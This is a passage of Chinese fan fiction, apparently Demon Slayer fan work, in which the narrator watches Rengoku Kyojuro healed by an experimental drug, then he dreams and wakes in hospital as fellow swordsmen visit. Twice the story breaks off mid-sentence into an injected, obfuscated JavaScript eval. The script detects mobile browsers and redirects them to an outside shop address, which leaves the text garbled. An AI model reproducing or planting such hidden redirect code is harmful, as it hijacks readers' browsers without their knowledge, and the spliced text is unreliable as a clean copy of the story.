我的准头很好,这得益于父亲一贯对我的教导,每个夏天我们都会去猎场打猎,那不是在什么场馆里对着靶子练习,而是活生生的会移动会躲避会逃窜的动物。生活在草丛和树林里的猎物远比人类想象的更聪明。而此刻,我的猎物——想要逃跑却无法做到的鬼——远比炼狱杏寿郎更显眼。 一枪。 两枪。 三枪。 擦身而过的子弹让鬼的惊惶加倍,最后一刻冲入血肉而炸开的那枪则终于让他下定决心断手逃离。他的脸上只留下丑陋的恐惧,形如一头看见天敌的动物,将死的结局在他身后猛烈追逐。 他逃跑的速度比以往每一次进攻都要快,灶门炭治郎追上去时只来得及扔出自己的日轮刀。 炼狱杏寿郎的身体失去支撑摔坐在地。 “炼狱杏寿郎!”我扔开枪,跌跌撞撞地冲向他。 而太阳终于出现了。这大约是我这一生中最渴望太阳升起也最憎恨太阳升起的时刻。 矛盾牵引着我加速冲上前,我将炼狱杏寿郎扶进怀里时下意识理过羽织为他挡住阳光。贯穿他身躯的那只手,那只属于鬼的手,现下还留存在他的伤口中。一旦被阳光照射到,那只手就会在顷刻间消失,而他的生命会追随鲜血毫无顾忌地流出。恐惧让我不觉收紧揽住他的手臂。 他还清醒着,松懈下紧绷的神经后甚至可以状若无事地对我微笑,仿佛这会儿几乎浸泡我的血气并非来源于他的身体。但我现在显然无法被他的笑容感染,担忧让我无法自如地摆布五官露出其他表情,只有泪水不断落下。 比起在路上时心中翻涌的担忧,此刻见到他才后知后觉升起的情绪无疑是愤怒。这愤怒的怨火不仅朝向伤害他的鬼,也时刻准备灼烧这个不爱惜自己生命的家伙! “你竟然……还笑得出来……”我当然不明白他怎么还能笑,即使乐观向上是他的天性,难道到了如今真要笑着赴死? 我看见自己的眼泪砸落在他脸颊,而他原本还能保持的轻松被瞬间撕裂,他怔怔地看着我,张口欲说话:“……朝和……”溜出口的竟然只有我的名字,而这两个字被他叫得太过轻了,我落目时只看见更多的血从他唇缝中溢出。 药呢——我被轻松击溃,只能胡乱地翻他戴在身上的那枚御守,不不,御守中的药现在又管得了什么用呢?大脑中所有情绪都化成刺痛的紧张,我终于想起——“桥下先生!”我听见自己的喊声中声嘶力竭的哭腔,在他仅能睁着的那只眼中我的倒影如此狼狈。 桥下先生冲刺过来。方才的争斗还让他脸色惨白,但是医者的职业操守已经让他强自镇定地打开药箱戴上手套。从炼狱杏寿郎伤口中流出的鲜血并未停止,这景象令我暗自心惊,我脑海中闪过一个危险的念头:他究竟还有多少血可以流? 桥下先生并没有第一时间处理这个伤口,在没有足够准备的情况下,存有的断臂反而可以在一定程度上稳定他的伤势,不至于让失血情况变得难以控制。 炼狱杏寿郎是一团气若游丝的火焰。 27. 唯一解 我的双手尽是血渍,黏腻不堪。哭声被我压在喉咙中,却无法控制地泪流不止,仿佛有千斤重的沙砾将一切都压制在心口,挣脱不开,便只能难以发泄地沉闷钝痛。 桥下先生解开炼狱杏寿郎的衣领,考虑到具体的伤势,他取出装有afterlife的容器,用针管吸取一半的液体,接着把针扎进他近心脉处的血管,天青色的药剂被缓慢地一次性全部推入。我的手上传来加重的握力。 这个悍不畏死的剑士正牢牢抓着我的手,预料之外牵动伤口的疼痛让他不由皱眉抽气,炼狱杏寿郎的表情因此凝滞。我反手将他的手掌死死握在手中,却感觉握着一团雪,一片沁入骨髓的冰凉。 “朝和……”他再次叫出我的名字时,我忽然不能自控地抽噎出声,胸口正盘旋着无法用语言形容的感受:险些就会失去他的悲痛与无可复加的后悔,这一切堆叠成无数山海,让我的泪水无法停歇,只能摇着头拒绝他再说出任何字。 我不知道他要说什么,但是此刻我除了他能活下去的消息之外什么也不想听。 Afterlife的药效过于惊人,见效极快,只在这一会儿,那骇人的伤口就已经止住血。 在这间隙里,无声的等待远比嘈杂更让人心神不宁。打破这种死气沉沉的是一声猫叫,细嫩的“喵”声响在我身边,我寻找着声音出现的位置,却意外看见一只三花猫蹲坐在炼狱杏寿郎身侧,皮毛整洁,背上却背着一个小包裹。 “啊!茶茶丸!”炭治郎率先反应过来,他惊讶地叫出猫的名字,立刻向我们解释这只猫的来历。这是我第一次知道珠世小姐,一位与鬼杀队有旧的医生,虽然身为鬼,却一直致力于研究能让鬼变回人类的药。 茶茶丸主动靠近我,亲昵地用脑袋轻蹭我的手背,然后转身把背上的小包朝向我。 “茶茶丸的包里有取血的仪器,可以用来收集鬼的血液让珠世小姐用于研究!和炼狱先生交战的鬼,是位列上弦叁的猗窝座,他身上鬼舞辻无惨的气息也是目前为止遇到过最浓重的,他的血一定有帮助!”炭治郎忽然激动起来,他目光灼灼地看向尚且保留的那只断臂,没被阳光照射,构成的血肉仍然新鲜。 我试着伸手向茶茶丸的小包,它并没有表现出抗拒,反而机灵地调整位置让我更便于拿取。炭治郎帮忙划开猗窝座的断臂,很难想象,划开皮肤表层,鬼的肢体下有的其实是和普通人类没什么区别的肌理,还未凝固的血液轻易流进容器。 把装有血的器具放回茶茶丸包里时,它再次用脑袋蹭蹭我的手,让人忍不住想抚摸几下。一股莫名有些熟悉的香味从它身上传来,可这会儿我竟然想不起来究竟是在哪里闻到过,只能沉思着看它再次喵叫一声,借由身上的符咒隐去身形。 这下桥下先生才准备清理最严重的这个伤口,嘉泽乐将我的药箱提来,打开:酒精、棉纱、内外伤药,甚至有简单的小型手术用具:组织剪、手术刀、止血钳、手术镊、缝针、持针器之类的,我都不记得整理药箱时自己是怀着怎样的心情把东西放进去的! 一应俱全,炭治郎他们也靠过来,我们小心地遮挡着太阳,将他遮蔽在阴影中,桥下先生谨慎地剥开那片浸满血液的鬼杀队队服——纯黑色的衣料本看不出什么血迹,是桥下先生捻起时染得指尖全是鲜血才被发现的——沾在伤口处粘连着血肉的布料似乎随手一拧就能挤出他遗失的生机。 我不忍看,下意识侧目时攥紧他的手。炼狱杏寿郎半靠在我怀里,我可以清晰地听见他的呼吸,用酒精擦拭时背部的肌群甚至因为用力忍耐而紧绷,胸口每一次艰难起伏都带出压抑疼痛的轻轻喘息。他满头的冷汗。 止住鲜血的伤口就这样明晃晃地暴露在空气中,这次我看得一清二楚,贯穿身体的凶器——那属于鬼的手臂,断口是个平整的切面,肌肉线条清晰的手臂上一圈深蓝的纹路正紧紧卡着他的□□,而这画面是满目的红,极具冲击力,甚至拨动了牵引我双手的神经,让它不觉轻颤。 桥下先生显然已经完全进入状态,他对这伤势的严重程度不发表一丝感慨,极冷静地在伤口周围洒下促进愈合的特效药粉。但是很快他发现了什么,奇怪地拨弄了下伤处,接着轻轻从鲜红中扯出段黄色的绳结——我当然认出了!这是我送给炼狱先生的那个御守! 我伸手从桥下先生那里接过,被我打得歪歪扭扭的结依旧保持原状,但是被绳结束扎的布袋却碎了。里面刻有神名的木牌碎成两半,原本藏在其中的几颗药丸更是不见踪影。 我无从得知御守是如何跑到他的伤口里的,但是这意外却让疗伤药恰巧化进血肉中,为愈合填补些许助力。我没有信仰,但是为了炼狱杏寿郎去神社求下这枚御守时我自然希望能得到神明的庇佑,那这究竟算不算神明保佑,而我的愿景又算不算得到实现? 桥下先生忽然叫我,他示意我扶稳他。说着,准备让开挡住阳光的身位。 “等等——”突然的变化让我一时间无法思考,不禁开口拦住他。 我相信桥下先生,我当然相信他!他的能力无需证明,无论是研究精神还是职业道德都远超常人,这一切我都心知肚明。我相信Afterlife,相信桥下先生,相信炼狱杏寿郎,我相信我们的命运不会在这里短暂交点而是紧贴着向前无限延伸。 但我心底里那个声音让我知道,我还是害怕…… “没关系。”炼狱杏寿郎看出我的忧虑,我这忧心忡忡绝非针对任何人,而是来源于我自己的内心,我不能失去他!他原本毫无血色的脸在这说话间突兀地涌上绯红,一种奇异的活力在那个瞬间充满他被损伤的□□,甚至极大振奋了他的精神。 无法看清的状况将“回光返照”这个第一反应扔进我的大脑,我紧紧盯着他。他正目光如炬地看向自己的伤口,那只受伤的眼睛在此刻竟也睁开了,受到重击而充血的眼白呈现出浓烈的血红色,如红云般包围着赤金色的瞳孔,他的瞳仁缩小,显出些带有锋利的漠然。 他似乎想说些什么。 是伤口怎么了? 桥下先生却在此时将第二针Afterlife注射进炼狱杏寿郎的身体。 “杏寿郎?”我低下头询问他时对上他的双眼,他缓缓眨眼,我们注视着彼此,沉默地在对方的眼瞳中观察自己的倒影,直到药剂中存在的麻醉成分成功发挥功效,让他眼皮越来越重,彻底陷入昏睡的状态。 “不用担心,朝和小姐,”桥下先生轻声向我解释道,“炎柱大人的身体素质非常强悍,再加上鬼杀队独有的呼吸法运转,接下来就该是Afterlife发挥作用的时刻了。” 说着,他慢慢退到一边,让出阳光栖身的位置。 凌晨的阳光是薄薄的金色,落下时轻飘飘的,毫无重量,亦无温度,让人能从光照中看到空气里的尘埃是如何舞动的。现在,它正悠闲地落到断裂的鬼手上。 阳光一寸一寸将照射到的鬼手化作尘埃,清晨的冷风将之吹向远处。凶器消失的刹那,炼狱杏寿郎的身躯上徒留一个承载着毁灭的可怖空洞,贯穿身躯,隐约能看见皮肉之下白色的骨骼与缓慢运作的脏器。 Afterlife会怎样奏效?这个疑惑挤进我的脑海时,我的眼睛已经捕捉到伤口上发生的异变——绝对的异变——圆洞般的伤口边缘鲜红的肌理缠裹着交错的血管筋脉正活力四射地向前攀,如同排涌的浪潮具有生息地不断鼓起息下,形如呼吸。 鸟笼状环抱的肋骨在一片血海中隐约露出惨白,脏器更用力地搏动,不断流入伤口中心的血液冲出血沫却没有溢出一滴,反而吸引着肌群向中心扩张。不消多久,那个伤口就这样长实了。或者说是,被血肉填埋了…… 炼狱杏寿郎身体上那个致命的空洞消失,血肉生长后留下的遗址是隆起的疤痕增生,纵横交错的纤维缔结组织微凸于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613425|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肤,光滑的表面呈现出肉粉色,形如挤成一团的蠕虫,盘踞在他的肌肉之上。 我看着,却比看到伤口更加后背发麻。 总有一天这团痕迹会逐渐淡去、缩小,但是永远不会消失,它会一直跟随着炼狱杏寿郎,就像他的影子一样。 桥下先生惊叹般倒吸一口凉气,他动作娴熟地用酒精蘸湿棉纱再次擦拭消毒,然后将衣服重新盖上。甚至无需包扎。他没有开口解释什么,仿佛这离奇的治愈能力是每个人生来都有的! 没有任何想象中血液迸溅、骨肉支离的画面,看着眼前这诡异景象,所有人都沉默了,周围死一样寂静。 大家原本都无法理解特效药该如何达成治愈的效果——哪怕是我——我隐隐后悔当初只注意参观他们药物开发的流程,却没关注在实验室里的药物试用实验。现在,特效药用我们亲眼所见的事实证明一切。 这不现实的、有违我对于人体一贯理解的现实,让我口干舌燥,甚至终止了想象的能力。 “鬼……” 有人突兀地从喉咙里挤出一个嘶哑的字。 这个字无疑刺痛我的神经,我下意识看向发声源头。方才泪流满面的那两个孩子——炭治郎和伊之助正不可置信地盯着杏寿郎的身体。炭治郎呆愣愣地吞咽了下,是很响的一声,但是现在没人在意这个,大家都只是沉默地听他说道:“这种治疗效果,就像鬼的治愈能力……” 他没有再往下说,但我们都认同,确实如此。 “确实如此。” 桥下先生的神情是我认识他以来第一次如此严肃,褪去从前挂在脸上的和蔼笑容,原来那张脸上固有的五官形状是如此愁苦,看不出一点轻松,“这就是我们从鬼的身体中提取出的一种特殊活性细胞,虽然始终不明白鬼化的原理,但是显然变成鬼之后他们那强大的再生能力正是因为身体基因的改变。我们以此为基底,调配出Afterlife——一种能够在短时间内大幅提高细胞活性而加速治愈效果的特效药——对于常人而言这只是一种更优秀的外伤药,但是对于长期被呼吸法淬炼过的□□,在自动运转的呼吸法作用下,细胞能达到的再生效率会相当可怕。” “时间紧迫,虽然给炎柱大人使用的还只是实验版,但是效果非常显著,只需要再做一些成分配比的修改就能彻底完善。而这支药,会极大减少灭鬼时的人员损失!”桥下先生语气里激昂的热烈是他坚持的理想,此刻成功就在眼前。 他或许回忆起少年时眼睁睁看着家人因伤势过重而死的情景,这景象多年来始终是他的噩梦之源。而这个噩梦,即将结束。 “不过,也正是因为呼吸法的存在,细胞活性过强反而会带来一些副作用,之后炎柱大人会有持续一段时间的头晕、心悸等状况,甚至可能是较长时间的昏迷。”在去为炭治郎他们治疗前,桥下先生恭敬地鞠躬,向我保证道:“但是不用担心,朝和小姐,他的性命已经无虞了。” 太阳已经彻底从地平线升起,朝晖逐渐染上暖意,世界重获光明,危险的阴影再次蛰伏,万物苏醒。得到列车脱轨消息而赶来的警队已经掌握现场,他们正组织人员普查与救援。 不过局势良好,毕竟列车上有不少人受雇于有栖川家,其中不乏专业医护人员与负责救援的武装人员。 对我而言,这一夜到此时才算真正结束,虽然一夜未眠,我却不觉得劳累。心头压着的巨石崩裂,转而炸出无数想说的话,但是想说的对象此刻并不能听见,只能默念。 我把炼狱杏寿郎更紧地抱进怀里,用下巴贴住他的额头,那股呛人的血腥味淡了,死神已经无法借此寻觅到他的方位了。 而这个向来用自己的火焰温暖我的人,正毫无知觉任我施为,我伸手抚摸他的侧脸,这是第一次,指尖沿着耳朵一路划到脖颈处,可以传达心跳的颈动脉正轻轻鼓动,节奏有力。 今夜无人死去。 28. 夜昙 为什么夜晚又降临了? 意识脱离晨曦微璀的光景,穿过深而晦涩的甬道,炼狱杏寿郎听见无数不该从人的发声器官中产出的零碎响声,交叠的多重音调最终消散在寂静之中。黑暗遮掩世界的动作无声无息,真实被藏匿,仿佛天从没亮起过。 而他又降临在那个潮湿的夜晚,一切都还未曾发生,回忆搭着梦境这趟列车再一次重现,他恍惚地感觉到彼时切身的体会此刻如雪泥鸿爪,变成斑驳却难以忘记的些许印记。 炼狱杏寿郎发现自己正蜗居在这具躯壳里,他只能被动地透过双眼去看这个世界,是留宿蝶屋的那个雨夜,还有边上坐着的人——黑发的少女坐得离他很近,他们围坐在矮桌边,衣袖相贴,几乎可以感受到对方的体温——不过她这次终于没有再哭了。不会看到她的泪水,炼狱杏寿郎只觉得庆幸。 他长时间地注视屋外,浓黑的夜色笼罩着四野,雨声淅淅沥沥,虽然不是狂风暴雨,但是昏暗中雨线连绵不绝,偶尔用堆积的乌云遮掩霹雳闪电,空气里潮湿滞闷的感受总让火焰难以燃烧,连桌案上摇摆的烛光都显得难以为继。 夜风在他们之间穿梭,明明该是一个略感寒冷的时刻,却总觉得身体里暖融融的,热意沿着血管在全身周游,炼狱杏寿郎后知后觉地想起这是胡蝶端来的那碗补药的缘故。 忘了从什么时候开始,胡蝶每天都会煮一碗看着有些奇怪的“补药”让大家喝下,秉持着对同伴的信任炼狱杏寿郎从不多问原因,连这碗药究竟有什么功效都没问。 他是喝得最痛快的那位,他喝完之后,即使有人再有疑惑也会等喝完再问。毕竟蝶屋的医药能力,大家都有目共睹。 而朝和正摆弄着缠绕在指尖的红绳,随着几个动作翻出一片菱格,她朝向他,手抵着桌面把花绳推过来,笑眼弯弯,开口时语气纯然可爱:“炼狱先生,你会玩这个吗?”这个,指的是翻花绳。好像是她在哪里学来的,今夜因无聊而突然想起,便兴致勃勃地寻了根红绳开始游戏。 炼狱杏寿郎当然会,他童年时曾在母亲的陪伴下玩过翻花绳,后来千寿郎出生,在千寿郎还拿不起木刀的时候作为兄长也经常陪着对方玩些益智游戏解闷。虽然身为炼狱家的孩子,活泼好动的天性似乎格外显著,但是比起他,千寿郎总是更安静一些。 当他想要将语言托之于口时,双唇总紧闭;想点点头,身体却代替这念头径直伸出手去,轻而易举地从菱格中找到线绳交错的关键位置,指尖穿过空隙绷住红绳,利落地把花绳翻到自己手上,翻过手腕时展现出另一种样式。 “哇——”朝和有些惊讶,“我还没见过这个样子的!”她感叹着,跃跃欲试地伸手过来比画该如何将花绳拢回自己手上,纤长的手指勾动细绳时指上细嫩的皮肤便触到炼狱杏寿郎的,他察觉到那轻微的凉,是略低于自己皮肤的温度。“会觉得冷吗?”他听见自己突然出声问道。 “欸?”专注着他手上花绳的朝和对这突然的询问愣了愣,眨眨眼,两潭碧绿的湖面如被微风吹皱而波澜不已,她停下动作认真感受了会儿,复又不好意思的笑起来,“这么说来似乎确实有点冷。”这雨下着下着便降温了,不知道什么时候才会停。 炼狱杏寿郎站起来,他想去将门关紧一些。 但门关拢些就看不全夜雨,也妨碍有人来寻。更重要的是,比起合门,他内心总有一种尤为强烈的冲动,这冲动不断重复着让他再次尝试、再次尝试……灵魂被压抑的力量竭尽全力伸向手脚,盖过从意识恢复时就一直隐约存在的身体不适,最终他定住步伐、收回手臂——在刚才诸多尝试中不曾成功的行为,这次却轻松做到了。 他的意识像被摄住手脚似的拽回身体,轻飘飘的短暂失重感后,灵魂得以归位而非躲藏在内心角落的阴影里。重新控制住身体,内心的冲动已经率先占领一切高地,叫他解下自己的羽织披在她的肩头。 朝和震惊极了,她不可置信地挺直背脊,几乎要站起来:“这羽织是……” 末端有火焰纹的羽织与其他柱的羽织格外不同,更形似一件披风。作为鬼杀队中历史最悠久的柱之一,这是唯有炎柱才有资格穿上的。无论从精神还是家学上,都是炼狱家荣耀与历史传承的最佳象征。为了成为炎柱,炼狱杏寿郎付出良多,而这件羽织无疑是对他最好的肯定。 但是——他轻轻把手按在她的肩头,让她安稳地坐下——“没关系,朝和。”他轻声说道。历史非一人便能传承,荣耀亦非独自即可塑造,而他预见的未来里总会有她的存在,且这样的设想一天比一天更详细。他的灵魂叫他把羽织披在她的肩头,让他把荣耀与她共享。 他是这么想的,也这么做了。 羽织落在朝和身上显得格外大,完全包裹住她纤细的身躯,浅色的和服便藏进白色羽织中,唯有几缕黑色的长发调皮地落下肩头。炼狱杏寿郎重新坐回原位,黑色的鬼杀队队服挺括地穿在他身上,好像没有一道褶皱,将他身形显得更加板正。 她安静下来,视线追随着他的身姿,桌面上红绳拧成一团,显然朝和的注意力早已不在其上,只是悄悄用自以为不引人注意的小动作试探地摸了摸羽织。这是她第一次真实地触摸到炎柱的羽织,与她想象的有些不同。 片刻后,她才抬起头直视炼狱杏寿郎,挂在脸上的神情写明在意,但是正无意识拧紧羽织的手指却宣泄出纠结,炼狱杏寿郎观察着她的一举一动,没有催促,静静等待着她将耿耿于怀的疑问抛出:“之前似乎有听说过炼狱家世世代代都是炎柱。炼狱先生……的父亲,也是炎柱吗?” 这个雨夜的潮闷终于鼓动了她的勇敢,他们不约而同想起某次去往炼狱宅进行剑术特训时看到的那个背影。颓唐的父亲当然没有在意朝和的出现,倒不如说,哪怕世界今天就此毁灭,他说不定反而会更庆幸不必再烦恼鬼的问题。 但是……不是不能回答这个问题,躲避绝非炼狱杏寿郎的专长,他思考着该用怎样的语言解释:“是的,父亲他是前任炎柱。”该怎么说呢,“自从我母亲去世之后,他就逐渐失去了斗志。” 炼狱杏寿郎当然不是为了从朝和那里博得些许同情与怜爱才运用语言的能力,当自己剖析自己时,过往的一切皆是过眼云烟,能够留下痕迹的部分少之又少。他实在是不擅长分享自己的事。但或许是这一刻的阴雨惹的祸,浇熄火焰后竟然裹着她眼中的深绿汹涌地冲进他的心扉。 “之前和你说过,我母亲在我年少时就去世了。千寿郎出生后,她的身体一直不好,常常需要卧床休息。但是即使如此,她也一直坚持亲自教导我们,父亲会带着我们在母亲房前的空地上练习剑道,她从展开的门中笑着注视我们。”炼狱杏寿郎回忆起从前,这当然不难,当时的光景无疑是他人生的最美好的时光之一,纵然岁月荏苒,他依然能够清晰地记得当初的一切。 无论是父亲的一举一动,还是母亲的一颦一笑,甚至千寿郎从牙牙学语蹒跚学步,到模仿他的样子举起木刀的姿态,都完整印刻在他的大脑中。 “我在剑术上有些天赋,千寿郎则学得慢一些,但是父亲并不因此而区别教育,相反一直认真教导我们二人,也时刻告诉千寿郎要做一个有用的人。母亲去世时千寿郎还很小,几乎不记事,他的印象中母亲是一个背光的模糊影子,无论外貌还是声音,都没有具体的记忆。” 他当然有过天真的时候:如果母亲没有去世就好了!那现在会是怎样呢?可惜炼狱杏寿郎不推崇虚无历史主义,也想象不到用“如果”构建出的世界。一切不真实,那么便不存在意义。只要不能亲手抓住,都不值得停留。 “母亲去世后,父亲很快就垮了。究竟发生了什么我不得而知。”寻不到源头,难以捉摸,但是他不再主动外出,对灭鬼也嗤之以鼻,有时酗酒,更多时候只是躺着发呆——那时他便在怀念母亲,炼狱杏寿郎看得出来。 话说到这里,再接下去还能坦白些什么呢?家庭是每一个人承担在肩上的责任,他的家庭与朝和的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613426|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本质上本无不同。但是炼狱杏寿郎知道她是一个在幸福美满的环境里快乐长大的女孩儿,她所拥有的比寻常人多得多,但这并不影响她理解旁人或是与苦难共情。 他能感觉到她的心灵里时刻感染着世界的因子,那种让人快乐的、沉迷的、不觉就柔软下来的元素。 “炼狱先生……”朝和讷讷地叫他,不自然的表情有些苍白。可为什么她眼眶中闪烁的晶莹将要坠落呢?炼狱杏寿郎心口一滞,细密的刺痛正随着泪水的闪光而不断重复,他伸手触碰她的脸颊,在自己的注意力之外指尖正无措地轻颤。 没能接住那滴眼泪。泪珠顺着颊侧滚落,紧接着延续成接连不断的阵雨,哭泣没能再止住。 为什么她会哭泣? 炼狱杏寿郎心头剧痛,压抑的愧疚感已经深深哽住他的喉口,身躯骤然感受到血肉破碎的伤口,失血过多带来的冰冷感让他几乎四肢僵硬。而朝和眼中流出的泪滴悉数跌进他的伤口中,比接近死亡更可怕的疼痛正由此诞生。 只在那个瞬间,氤氲的梦境彻底散开,围困着灵魂的雨雾消失,炽热的灵魂终于能够看清一切。炼狱杏寿郎终于了悟她的泪水从何而来。即使不曾由他亲口表述,刻意遮掩的情感实质上无处躲藏,被她轻易捕捉。 让她哭泣的那个人原来是自己,让她不再天真、难以平和、无法微笑的那个人,原来正是自己——她重视他的生命,她的爱如此清晰坦诚,她无法接受失去——他可以为了拯救平民而从容赴死,现在亦可以为了她而竭尽全力活下去。 将一切填充进大脑,倾身过去想要抱住她的瞬间,炼狱杏寿郎再次睁开眼,坠入视线的只有满目的白。 这里是哪里? 身体各方面的酸痛都在告诫炼狱杏寿郎不要冲动行事,必须加倍小心。他能清晰地感觉到自己的左眼被什么裹着——伸手去碰时柔软的纱布触感清晰,正紧紧缠着他的头颅。当然不止眼睛,曾断裂的肋骨与破碎的内脏也都以各自不同的疼痛方式向他宣告存在感,谁也别想忽视谁!嗯,身体对他过度战斗的打击报复总是不会迟到,得让他受尽苦头。 他伸手试着抚摸伤处,记忆也随之逐渐回笼。被大脑提到最高优先级的是陷入昏睡前最后看到的那一幕——少女泪如断珠地把他抱在怀里,眼中的情深义重浓得不可思议。 好奇怪。当然不是奇怪为什么朝和会哭泣,从她千岁绿的眼中看见的自己满身血污,一改往日意气风发的样子,只能咬牙强撑出浑不在意的姿态。如果可以,其实他最不想被朝和看到自己这样的狼狈。 那个被猗窝座用手臂洞穿的伤口如同不存在。没有药效的疼痛,没有肌肉生长的酸痒,用单薄的纱布包裹的感觉远不如身上衣服的存在感强烈。摸到印象中受伤的位置时,胸腹一片平坦,不对,纵横交错的斑驳痕迹在指尖感触下无比清晰。这是疤痕存在的证明。 太过明显了。这究竟是怎么回事? 比起当初受伤时,现在身体反馈的感受根本不值一提,当然不影响炼狱杏寿郎撑着床坐起。本该如此的,但左半边身子动作时,不知为何感受到一股明显的阻力,凝滞感让他直不起背,只能斜侧着探起身子。放眼望去,屋内陈列偏西式,家具简单,斗柜贴墙,上摆一座西洋座钟。干净整洁的室内却很陌生,只有空气中流动着熟悉的淡淡紫藤香。 而让他半身无力的原因正趴在他床边,漆黑的长发海藻般丰盈,被随意拢起,原本光滑亮丽的黑发此刻因为她的动作略显毛躁。她一无所察地枕着自己的手臂,压在他的被子上,睡颜恬淡,只偶尔因为姿势不适轻动眼皮下藏着的瞳子。 是朝和。刚刚还在他的梦里见过。 灿烂的光线穿过窗户洒落在床前,也落满她一身,难以言喻的柔软挠动他的心,炼狱杏寿郎忍不住想伸手轻轻抚摸她的发顶。这下,他才发现,枕睡在床边的少女其实一直握着他的左手。力气不小,而且当他轻动时,她本能不安地收紧五指制止了他抽出手的动作。 29. 葳蕤 最近实在是发生了太多事,导致一连几天我都没有休息好。 以炼狱杏寿郎当时的身体状况不宜大动和远行,所以我们以最快速度将他送到东京都有栖川名下的私立医院治疗。原本研究所也在医院范围内,桥下先生会陪同一起,他每天都会记录杏寿郎的身体各项数据和伤口恢复状况。一切看似都很好,可是人没醒来,一切就都糟透了。 Afterlife的作用当然显著,但是作为针对鬼而研发的特效药,基础外伤的治愈还是需要时间的调理。这里主要指的就是炼狱杏寿郎的眼睛,桥下先生掀开他的眼皮观察那只一直充血的眼球时神情格外凝重,眼白上原本赤红的痕迹已经化成瘀紫,虹膜破裂的病症即使不会致盲也多少会影响视力。 反观距离胸腹致命伤口更近的肋骨骨折与脏器破裂,虽然因为药剂的作用已经恢复,但同样还是留下了些许后遗症。 桥下先生听诊时记录的学术词汇对我来说实在太过复杂,但是“略有杂音”这样的描述一听就不妙极了,虽然他一再保证这些患处最终会随着Afterlife在全身的作用完全康复。 但是人体的新陈代谢半年左右完成一次,如果Afterlife真的需要在全身运作才能彻底发挥功效,那我就必须接受炼狱杏寿郎可能会昏迷半年左右的可能性。 我当然不能接受。就这样,焦躁的情绪随着我每天逗留在他床前的时间一同增长。 父亲和母亲也来探望了,他们劝慰我不用担心注意休息的话语跟着窗外的风一起吹散了。我当然没有过度忧虑而食不下咽地苦痛着——虽然父亲确实以这样忧心的眼光看待我。 再怎么苦闷,饭还是要吃的,毕竟我的最终目标是为了能第一时间看到炼狱杏寿郎醒来,而不是和他一起并排躺在病床上——如非必要我大多时候都守在床前,当然到了此刻也没有除他身体状况外更重要的事。 这期间,杏寿郎的鎹鸦替主公大人送来慰问的口信,而鬼杀队的成员轮流来看望过他,他果然是一个成熟可靠、深受大家信赖的人,人缘好到爆炸。 千寿郎和炭治郎他们每天都会前来,而众柱之中忍是最先来的,从我口中了解到当时的情况后,她提着药箱跟着桥下先生对杏寿郎的身体上上下下检查一番后振奋地投入到药物研制的新方向。 音柱宇髓天元与水柱富冈义勇竟然是结伴来的,还不等我感叹这个组合令人惊奇,就在宇髓先生身上闻到一股浓烈奇异的脂粉香气,他解释道自己来前正在游廓调查,是在医院门口遇到了义勇才一同过来的。 原来先前他和他的妻子前去游廓侦查的事件还未结束,我对游廓的现状隐隐有些担忧,该提醒一下与我相交甚好的那些闺秀小姐们近日少去花街附近。 接着在两位柱大人的询问下,我第二次重复当时见到炼狱杏寿郎与鬼对战的情景,宇髓先生对杏寿郎被包扎得严严实实的样子点评了一句不够华丽,并试图把自己的宝石头巾解下来戴在他头上试试,被我制止后他若有所思地摸着下巴打量我一番,最后笑着走了。 我当然没忘记义勇先生。我是说我没忘记招待他,虽然他全程沉默地站在一边,面无表情的样子给人的感觉更像一个郁闷的幽灵游荡了过来而非前来探病。素来朦胧的蓝眸深深地凝视着躺在病床上的杏寿郎,我不知道他是不是曾经经历过什么,看着最终得以从与鬼的对战中存活下来的杏寿郎,义勇先生心里想的是什么呢? 可纵使他一言不发,我也能够体会到他心中所想的与我相同的庆幸。 借着大家来探望杏寿郎的机会,我还见到了之前从未见过的其他几位柱。 岩柱大人与霞柱大人是在后一天早晨来的。我借着洗漱的时间在走廊上散步了会儿权作放风,神清气爽地再次走进私人病房时只看到一个异常魁梧的男人站在炼狱杏寿郎床前泪流如注,他一边诵经一边转动着漆红佛珠。他哭得实在太过真情实感,与他外貌给人的压迫感截然不同的慈悲态度让我受了一惊。 我理所当然地误以为他是在给杏寿郎念经超度,一股寒气直冲上头,让我差点腿软得站不住。幸好来看望的千寿郎及时出现,在他的解释下我才知道了悲鸣宇先生的身份——还有霞柱,千寿郎叫出“时透大人”时我正疑惑,直到悲鸣宇先生慢慢侧开身露出被他严严实实挡在身后的少年。 的确是少年,从外貌和身形来看只有十三四岁的样子,稚嫩、年幼、脸上不显露出什么表情,也没有说一句话。他薄荷绿色的眼睛中传达出冷漠与不易接近,但是当他专注地看着昏睡的杏寿郎时,并无恶意。 于是我第三次重复了我当时所见的一切,这会儿我有点想念炭治郎他们,有他们在的话就能替我完成这份工作了。 接下来赶到的是风柱。当时我一个人在病房里,看着有些凶神恶煞的白色刺猬头男人径自推门进来时我正拉着炼狱先生的手和他说话。别人都穿得板板正正的队服在他身上却一反常态地衣领大敞,光明正大地露出胸前的肌肉与几乎遍布全身的伤疤,我们在各自的惊诧中四目相对,沉默是此刻的尴尬。 先反应过来的自然是他,“不死川实弥。风柱。”他自我介绍着走进来,“我知道你,有栖川家的小姐。”他顺手关上门。不知道是因为杏寿郎就在身边还是不死川先生确实没有释放出比他的外貌更让人警惕的气氛,他靠近时我丝毫没有紧张。 